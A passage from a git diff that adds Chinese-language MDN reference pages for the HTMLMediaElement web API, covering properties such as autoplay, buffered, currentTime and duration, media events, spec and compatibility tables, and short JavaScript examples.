audioTracks property{{CompatUnknown}}{{CompatGeckoDesktop("33.0")}}[5]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari Mobile
audioTracks property{{CompatUnknown}}{{CompatGeckoMobile("33.0")}}[5]{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

还可以看看

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/autoplay/index.html b/files/zh-cn/web/api/htmlmediaelement/autoplay/index.html new file mode 100644 index 0000000000..0da3afbc2c --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/autoplay/index.html @@ -0,0 +1,110 @@ +--- +title: HTMLMediaElement.autoplay +slug: Web/API/HTMLMediaElement/autoplay +translation_of: Web/API/HTMLMediaElement/autoplay +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLMediaElement.autoplay 属性等同于HTML属性中的 {{htmlattrxref("autoplay", "video")}}, 它表示当player下载到足够可以播放的媒体文件时,是否自动播放视频。

+ +

注意: 一些版本的Chrome只支持autostart, 不支持autoplay

+ +

语法

+ +
...
+ +

参数类型

+ +

{{domxref("Boolean")}}

+ +

用例

+ +

...

+ +
<...></...>
+
+ +

...

+ +
Xxx.xxx()
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement.autoplay")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.autoplay")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器支持

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}} [1]{{CompatIE("9")}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

看看这里

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/buffered/index.html b/files/zh-cn/web/api/htmlmediaelement/buffered/index.html new file mode 100644 index 0000000000..69df5e6584 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/buffered/index.html @@ -0,0 +1,111 @@ +--- +title: HTMLMediaElement.buffered +slug: Web/API/HTMLMediaElement/buffered +translation_of: Web/API/HTMLMediaElement/buffered +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLMediaElement.buffered 返回一个只读 {{domxref("TimeRanges")}} 对象 返回媒体已缓冲的区域

+ +
Note: This feature is not available in Web Workers.
+ +

语法

+ +
var timeRange = audioObject.buffered
+ +

返回值

+ +

对象{{domxref("TimeRanges")}}

+ +

length - 获得音频/视频中已缓冲范围的数量

+ +

buffered.start 开始的区域 

+ +

buffered.end 结束的区域

+ +

例子

+ +
var obj = document.createElement('video');
+console.log(obj.buffered); // TimeRanges { length: 0 }
+console.log(obj.buffered.start(0));//第一个缓存开始的区域
+console.log(obj.buffered.end(0));//第一个缓存结束的区域
+ +

参考文档

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "embedded-content.html#media-elements", "HTMLMediaElement.buffered")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.buffered")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
buffered property{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}{{CompatIE("9")}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari Mobile
buffered property{{CompatVersionUnknown}}{{CompatGeckoMobile("2.0")}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

也可以看看

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/canplay_event/index.html b/files/zh-cn/web/api/htmlmediaelement/canplay_event/index.html new file mode 100644 index 0000000000..ada3f8b444 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/canplay_event/index.html @@ -0,0 +1,82 @@ +--- +title: 'HTMLMediaElement: canplay' +slug: Web/API/HTMLMediaElement/canplay_event +tags: + - canplay +translation_of: Web/API/HTMLMediaElement/canplay_event +--- +

当终端可以播放媒体文件时触发该canplay事件,估计加载足够的数据来播放媒体直到其结束,而不必停止以进一步缓冲内容。

+ +

General info

+ +
+
Specification
+
HTML5 media
+
Interface
+
Event
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
Element
+
Default Action
+
None.
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ + + + diff --git a/files/zh-cn/web/api/htmlmediaelement/canplaythrough_event/index.html b/files/zh-cn/web/api/htmlmediaelement/canplaythrough_event/index.html new file mode 100644 index 0000000000..0b4195879d --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/canplaythrough_event/index.html @@ -0,0 +1,82 @@ +--- +title: 'HTMLMediaElement: canplaythrough' +slug: Web/API/HTMLMediaElement/canplaythrough_event +tags: + - canplaythrough +translation_of: Web/API/HTMLMediaElement/canplaythrough_event +--- +

当终端可以播放媒体文件时触发该canplaythrough事件,估计加载足够的数据来播放媒体直到其结束,而不必停止以进一步缓冲内容。

+ +

General info

+ +
+
Specification
+
HTML5 media
+
Interface
+
Event
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
Element
+
Default Action
+
None.
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ + + + diff --git a/files/zh-cn/web/api/htmlmediaelement/canplaytype/index.html b/files/zh-cn/web/api/htmlmediaelement/canplaytype/index.html new file mode 100644 index 0000000000..883c061160 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/canplaytype/index.html @@ -0,0 +1,80 @@ +--- +title: HTMLMediaElement.canPlayType() +slug: Web/API/HTMLMediaElement/canPlayType +tags: + - 判断媒体类型 + - 方法 + - 音频 +translation_of: Web/API/HTMLMediaElement/canPlayType +--- +
{{APIRef("HTML DOM")}}
+ +

 HTMLMediaElement.canPlayType() 方法会判断传递的媒体格式参数是否能够被播放。

+ +
Note: This feature is not available in Web Workers.
+ +

语法

+ +
str = audioOrVideo.canPlayType(mediaType);
+
+ +

参数

+ +
+
mediaType
+
{{domxref("DOMString")}}包含了媒体文件的MIME类型。
+
+ +

返回值

+ +

{{jsxref('String')}}. 有可能的值为:

+ + + +
+

提醒: 以前 canPlayType('video/webm') 会返回 'probably'。从 Gecko 28 {{geckoRelease(28)}} 开始, 将返回 'maybe'。 ({{bug(884275)}})

+
+ +

示例

+ +
var obj = document.createElement('video');
+console.log(obj.canPlayType('video/mp4')); // "maybe"
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement.canplaytype")}}{{Spec2('HTML WHATWG')}}从 {{SpecName('HTML5 W3C')}}后没有变更
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.canplaytype")}}{{Spec2('HTML5 W3C')}}初始定义.
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLMediaElement.canPlayType")}}

+ +

其他

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/controller/index.html b/files/zh-cn/web/api/htmlmediaelement/controller/index.html new file mode 100644 index 0000000000..29222fc3df --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/controller/index.html @@ -0,0 +1,54 @@ +--- +title: HTMLMediaElement.controller +slug: Web/API/HTMLMediaElement/controller +translation_of: Web/API/HTMLMediaElement/controller +--- +
{{APIRef("HTML DOM")}}
+ +

TMLMediaElement.controller 属性表示对应媒体元素的控制器。

+ +

语法

+ +
...
+ +

Value

+ +

属性的值是一个 {{domxref("MediaController")}} 对象,如果没有对应的媒体元素值为null,默认值为null。 

+ +

示例

+ +
...
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.controller")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLMediaElement.controller")}}

+ +

参阅

+ + + +
+
+
diff --git a/files/zh-cn/web/api/htmlmediaelement/controls/index.html b/files/zh-cn/web/api/htmlmediaelement/controls/index.html new file mode 100644 index 0000000000..eaabad02c1 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/controls/index.html @@ -0,0 +1,103 @@ +--- +title: HTMLMediaElement.controls +slug: Web/API/HTMLMediaElement/controls +translation_of: Web/API/HTMLMediaElement/controls +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLMediaElement.controls 这个负责控制html中的controlsHTML属性, 它负责控制播放的媒体(视频或音频)的控制条是否显示。.

+ +

语法

+ +
var ctrls = video.controls;
+audio.controls = true;
+ +

返回值

+ +

类型 {{domxref("Boolean")}}. 是否成功

+ +

例子

+ +
var obj = document.createElement('video');
+obj.controls = true;
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement.controls")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.controls")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}} [1]{{CompatIE("9")}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

产考文档

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/controlslist/index.html b/files/zh-cn/web/api/htmlmediaelement/controlslist/index.html new file mode 100644 index 0000000000..23119dc5ab --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/controlslist/index.html @@ -0,0 +1,48 @@ +--- +title: HTMLMediaElement.controlsList +slug: Web/API/HTMLMediaElement/controlsList +translation_of: Web/API/HTMLMediaElement/controlsList +--- +

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

+ +

HTMLMediaElement接口controlsList 属性返回DOMTokenList,帮助用户在显示其自己的控件集时选择要在媒体元素上显示的控件。DOMTokenList可以设置以下三个可能值中的一个或多个:nodownload,nofullscreen和noremoteplayback(值是一组无序的空格分隔标记,这些标记ASCII不区分大小写的)。

+ +
    +
  1. nodownload关键字暗示的下载控制应使用用户代理自己的一套媒体元素控件时被隐藏。
  2. +
  3. nofullscreen关键字暗示在使用用户代理自己的媒体元素控件集时,应隐藏全屏模式控件。
  4. +
  5. noremoteplayback关键字暗示当使用用户代理自己的媒体元素控件集时,应隐藏远程播放控件。
  6. +
+ +

语法

+ +
var domTokenList = HTMLMediaElement.controlsList;
+ +

Value

+ +

A {{domxref("DOMTokenList")}}.

+ +

示例

+ +
<video controls controlslist="nodownload" id="video" src=""></video>
+
+ +
<video controls controlslist="nodownload nofullscreen noremoteplayback" id="video" src=""></video>
+
+ +

规格

+ +

https://wicg.github.io/controls-list/html-output/multipage/embedded-content.html#attr-media-controlslist.

+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.HTMLMediaElement.controlsList")}}

+
+ +

参阅

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/crossorigin/index.html b/files/zh-cn/web/api/htmlmediaelement/crossorigin/index.html new file mode 100644 index 0000000000..d82bb90e63 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/crossorigin/index.html @@ -0,0 +1,42 @@ +--- +title: HTMLMediaElement.crossOrigin +slug: Web/API/HTMLMediaElement/crossOrigin +translation_of: Web/API/HTMLMediaElement/crossOrigin +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLMediaElement.crossOrigin 属性是当前图片元素的跨域资源共享(CORS)设置,详情可参考 CORS 设置。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', "#attr-media-crossorigin", "HTMLMediaElement.crossOrigin")}}{{Spec2('HTML WHATWG')}}{{SpecName('HTML5 W3C')}} 中无改变。
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.crossOrigin")}}{{Spec2('HTML5 W3C')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLMediaElement.crossOrigin")}}

+ +

更多

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/currentsrc/index.html b/files/zh-cn/web/api/htmlmediaelement/currentsrc/index.html new file mode 100644 index 0000000000..4c25adaa56 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/currentsrc/index.html @@ -0,0 +1,56 @@ +--- +title: HTMLMediaElement.currentSrc +slug: Web/API/HTMLMediaElement/currentSrc +translation_of: Web/API/HTMLMediaElement/currentSrc +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLMediaElement.currentSrc 属性包含所选媒体源的绝对URL路径。例如当程序会根据用户显示器分辨率选择不同媒体文件时会用到这个属性,显然它是只读的。当networkState值为EMPTY时,本属性值为空字符串(empty string).

+ +

语法

+ +
var mediaUrl = audioObject.currentSrc;
+ +

+ +

一个 {{domxref("DOMString")}} 对象包含所选媒体源的绝对URL路径。当 networkState == EMPTY时,其值为空字符串(empty string); 否则,它会是 {{domxref("HTMLSourceElement")}} 所包含媒体列表中的一个,或者是 {{HTMLElement("source")}} 标签的src 值.

+ +

示例

+ +
var obj = document.createElement('video');
+console.log(obj.currentSrc); // ""
+
+ +

标准化

+ + + + + + + + + + + + + + + + + + + +
标准状态备注
{{SpecName('HTML WHATWG', "#dom-media-currentsrc", "HTMLMediaElement.currentSrc")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.currentSrc")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLMediaElement.currentSrc")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/currenttime/index.html b/files/zh-cn/web/api/htmlmediaelement/currenttime/index.html new file mode 100644 index 0000000000..aeed937312 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/currenttime/index.html @@ -0,0 +1,118 @@ +--- +title: HTMLMediaElement.currentTime +slug: Web/API/HTMLMediaElement/currentTime +translation_of: Web/API/HTMLMediaElement/currentTime +--- +
{{APIRef("HTML DOM")}}
+ +
 
+ +
HTMLMediaElement.currentTime 属性会以秒为单位返回当前媒体元素的播放时间。设置这个属性会改变媒体元素当前播放位置。
+ +
 
+ +
+

该处原文:The HTMLMediaElement.currentTime property gives the current playback time in seconds. Setting this value seeks the media to the new time.

+
+ +

语法

+ +
var cTime = video.currentTime;
+video.currentTime = 35;
+ +

 

+ +

返回值

+ +

一个 double 双精度浮点数。

+ +

示例

+ +
var obj = document.createElement('video');
+console.log(obj.currentTime);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范版本状态备注
{{SpecName('HTML WHATWG', "embedded-content.html#dom-media-currenttime", "HTMLMediaElement.currentTime")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.currentTime")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}} [1]{{CompatIE("9")}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/duration/index.html b/files/zh-cn/web/api/htmlmediaelement/duration/index.html new file mode 100644 index 0000000000..575e8be90c --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/duration/index.html @@ -0,0 +1,61 @@ +--- +title: HTMLMediaElement.duration +slug: Web/API/HTMLMediaElement/duration +tags: + - API + - HTML + - Video + - Web +translation_of: Web/API/HTMLMediaElement/duration +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLMediaElement.duration 属性以秒为单位给出媒体的长度,如果没有媒体数据可用,则为零。

+ +

语法

+ +
var myDuration = audioOrVideo.duration
+ +

+ +

 如果媒体数据可用但长度未知,则此值为NaN。 如果媒体流式传输且没有预定义长度,则值为Inf。

+ +

例子

+ +
var obj = document.createElement('video');
+console.log(obj.duration); // NaN
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement.duration")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.duration")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器支持

+ + + +

{{Compat("api.HTMLMediaElement.duration")}}

+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/durationchange_event/index.html b/files/zh-cn/web/api/htmlmediaelement/durationchange_event/index.html new file mode 100644 index 0000000000..33792ed248 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/durationchange_event/index.html @@ -0,0 +1,125 @@ +--- +title: 'HTMLMediaElement: durationchange 事件' +slug: Web/API/HTMLMediaElement/durationchange_event +tags: + - Audio + - Event + - HTMLMe + - HTMLMediaElement + - Reference + - Video +translation_of: Web/API/HTMLMediaElement/durationchange_event +--- +

{{APIRef("HTMLMediaElement")}}

+ +

durationchange 事件会在 duration 属性更新时被触发。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{DOMxRef("Event")}}
TargetElement
Default ActionNone
Event handler property{{domxref("GlobalEventHandlers.ondurationchange")}}
SpecificationHTML5 media
+ +

例子

+ +

下面的例子为 HTMLMediaElement 的 durationchange  事件添加事件监听器,然后在事件触发时发送一个消息。

+ +

使用 addEventListener():

+ +
const video = document.querySelector('video');
+
+video.addEventListener('durationchange', (event) => {
+  console.log('Not sure why, but the duration of the video has changed.');
+});
+ +

使用 ondurationchange 事件处理器属性:

+ +
const video = document.querySelector('video');
+
+video.ondurationchange = (event) => {
+  console.log('Not sure why, but the duration of the video has changed.');
+};
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', "media.html#event-media-durationchange", "durationchange media event")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#event-media-durationchange", "durationchange media event")}}{{Spec2('HTML5 W3C')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLMediaElement.durationchange_event")}}

+ + + + + +

See Also

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/ended_event/index.html b/files/zh-cn/web/api/htmlmediaelement/ended_event/index.html new file mode 100644 index 0000000000..17fcf7c9b8 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/ended_event/index.html @@ -0,0 +1,99 @@ +--- +title: 'HTMLMediaElement: ended' +slug: Web/API/HTMLMediaElement/ended_event +translation_of: Web/API/HTMLMediaElement/ended_event +--- +

如果playback或者streaming达到了媒体的未尾或者没有更多可用的数据,将会引发一个ended事件。

+ +

这个事件将会发生在三个相关但独立的上下文中:

+ + + +

General info

+ +
+
Specification
+
HTML5 media, Media Capture and Streams and Web Audio API
+
Interface
+
{{domxref("Event")}}
+
Bubbles
+
No
+
可取消的
+
No
+
Target
+
Element
+
默认操作
+
无。
+
+ +
+

While this event is defined in more than one specification, at this time they specify this event identically, so we have documented them as if they were one. If at some point that changes, the documentation will be revised.

+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ + + + diff --git a/files/zh-cn/web/api/htmlmediaelement/error_event/index.html b/files/zh-cn/web/api/htmlmediaelement/error_event/index.html new file mode 100644 index 0000000000..2fb96ad1fb --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/error_event/index.html @@ -0,0 +1,76 @@ +--- +title: 'HTMLMediaElement: error event' +slug: Web/API/HTMLMediaElement/error_event +translation_of: Web/API/HTMLMediaElement/error_event +--- +
{{APIRef}}
+ +

事件 error 会在因为一些错误(如网络连接错误)导致无法加载资源的时候触发。

+ + + + + + + + + + + + + + + + + + + + +
起泡
可取消
接口{{domxref("Event")}}
事件处理器属性{{domxref("GlobalEventHandlers/onerror", "onerror")}}
+ +

示例

+ +
const video = document.querySelector('video');
+const videoSrc = 'https://path/to/video.webm';
+
+video.addEventListener('error', () => {
+  console.error(`Error loading: ${videoSrc}`);
+});
+
+video.setAttribute('src', videoSrc);
+ +

规范

+ + + + + + + + + + + + + + + + + + +
规范状态
{{SpecName('HTML WHATWG', "media.html#event-media-error")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#event-media-error")}}{{Spec2('HTML5 W3C')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLMediaElement.error_event")}}

+ +

更多

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/index.html b/files/zh-cn/web/api/htmlmediaelement/index.html new file mode 100644 index 0000000000..b9c29bf057 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/index.html @@ -0,0 +1,429 @@ +--- +title: HTMLMediaElement +slug: Web/API/HTMLMediaElement +tags: + - API + - HTML + - HTMLMediaElement + - HTML媒体元素 + - Media + - Video +translation_of: Web/API/HTMLMediaElement +--- +
{{APIRef("HTML DOM")}}
+ +
HTML媒体元素接口在属性和方法中添加了 {{domxref("HTMLElement", "HTML元素")}}来支持基础的媒体相关的能力,就像audio和video一样。{{domxref("HTMLVideoElement", "HTML 视频元素")}}和 {{domxref("HTMLAudioElement", "HTML 音频元素")}}元素都继承自此接口。
+ +
+ +
{{InheritanceDiagram(600, 180)}}
+ +

特性

+ +

从父级 {{domxref("HTMLElement")}}, {{domxref("Element")}}, {{domxref("Node")}}, 和 {{domxref("EventTarget")}} 继承属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名称类型描述
audioTracks{{domxref("AudioTrackList")}} +

表示在该元素中包含的{{domxref("AudioTrack")}}对象列表

+
autoplay{{domxref("Boolean")}} +

表示{{ htmlattrxref("autoplay", "video") }}的HTML属性,表明在视频加载可用时是否不中断地自动播放资源

+
buffered {{readonlyinline}}{{ domxref("TimeRanges") }}buffered属性会告诉浏览器哪一部分的媒体已经被下载(如果浏览器支持的话),按照标准会返回一个{{ domxref("TimeRanges") }}对象
controller{{ domxref("MediaController")}} +

返回当前媒体控制器的MediaController 对象,如果没有连接就返回null

+
controls{{domxref("Boolean")}}映射在HTML标签。{{ htmlattrxref("controls", "video") }}属性控制是否显示用户播放界面的控制 HTML
crossOrigin{{ domxref("DOMString") }}一个表示媒体元素 CORS 设置的{{ domxref("DOMString") }}。从 CORS settings attributes 查看更多详情
currentSrc {{readonlyinline}}{{ domxref("DOMString") }}用{{domxref("DOMString")}}表示媒体文件的绝对URL。如果networkStateEMPTY,那么值为空字符串。
currentTimedouble当前播放时间,单位为秒。为其赋值将会使媒体跳到一个新的时间。
defaultMuted{{domxref("Boolean")}}映射在HTML标签上。 {{ htmlattrxref("muted", "video") }} 属性表示媒体声音被播放时是否应该被静音。这个属性不能动态设置静音/不静音,如果希望设置静音/不静音,请使用 muted 属性
defaultPlaybackRatedouble控制媒体的播放速度。1.0表示正常的播放速度,如果值小于1.0,则播放速度会比”正常速度“慢,如果值大于1.0,则播放速度会比”正常速度“快。0.0是一个无效的值,并且会抛出 NOT_SUPPORTED_ERR 错误。
duration {{readonlyinline}}double媒体以秒为单位的总长度时间,如果媒体不可用,则为0.  如果媒体可用,但时间长度未知, 值为NAN. 如果媒体是以stream形式传输并且没有预定长度,则值为Inf。
ended {{readonlyinline}}{{domxref("Boolean")}}表示媒体是否已经播放完毕。
error {{readonlyinline}}{{ domxref("MediaError") }}{{domxref("MediaError")}} 对象表示最近的错误,如果没有错误则值为 null
initialTime {{readonlyinline}} {{ non-standard_inline() }} {{deprecated_inline}}double初始播放位置(以秒为单位)。
loop{{domxref("Boolean")}}会映射在HTML标签  {{ htmlattrxref("loop", "video") }} 属性 , 决定该媒体是否循环播放.
mediaGroup{{domxref("DOMString")}}反映在HTML {{ htmlattrxref("mediagroup", "video")}} 标签上。 表示元素所归属的分组,同一组的媒体元素会共享同一个控制器(controller)。
mediaKeys {{experimental_inline}}{{readonlyinline}}{{domxref("MediaKeys")}}Returns a reference to the {{domxref("MediaKeys")}} interface, which is a set of keys that an associated HTMLMediaElement can use for decription of media data during playback.
mozAudioChannelType {{ non-standard_inline() }}{{domxref("DOMString")}}Can be used to set the audio channel that the sound coming from an {{htmlelement("audio")}} or {{htmlelement("video")}} element will play in, on a Firefox OS device. See Using the AudioChannels API for more details.
mozChannels {{readonlyinline}} {{ non-standard_inline() }}long声道数 (比如 2 是立体声).
mozFrameBufferLength {{ non-standard_inline() }}long +

Indicates the number of samples that will be returned in the framebuffer of each MozAudioAvailable event. This number is a total for all channels, and by default is set to be the number of channels * 1024 (e.g., 2 channels * 1024 samples = 2048 total).

+ +

The mozFrameBufferLength property can be set to a new value, for lower latency, or larger amounts of data, etc. The size given must be a number between 512 and 16384. Using any other size results in an exception being thrown. The best time to set a new length is after the loadedmetadata event fires, when the audio info is known, but before the audio has started or MozAudioAvailable events have begun firing.

+
mozSampleRate {{readonlyinline}} {{ non-standard_inline() }}long播放内容的采样率(每秒采样次数)。比如,44100 就是一张CD的采样率。
mozSrcObject {{ non-standard_inline() }}{{domxref("MediaStream")}}Lets you set or get the Media Stream to be played or being played.
muted{{domxref("Boolean")}}静音时为true ,否则是false .
networkStateunsigned short获取媒体时的网络状态 + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量定义描述
NETWORK_EMPTY0还没数据。readyState 是 HAVE_NOTHING.
NETWORK_IDLE1
NETWORK_LOADING2正在加载.
NETWORK_NO_SOURCE{{ ref("1") }}3
+
paused {{readonlyinline}}{{domxref("Boolean")}}指示媒体元素是否被暂停。
playbackRatedouble +

The current rate at which the media is being played back. This is used to implement user controls for fast forward, slow motion, and so forth. The normal playback rate is multiplied by this value to obtain the current rate, so a value of 1.0 indicates normal speed.

+ +

If the playbackRate is negative, the media is played backwards.
+ The audio is muted when the media plays backwards or if the fast forward or slow motion is outside a useful range (E.g. Gecko mute the sound outside the range 0.25 and 5.0).

+ +

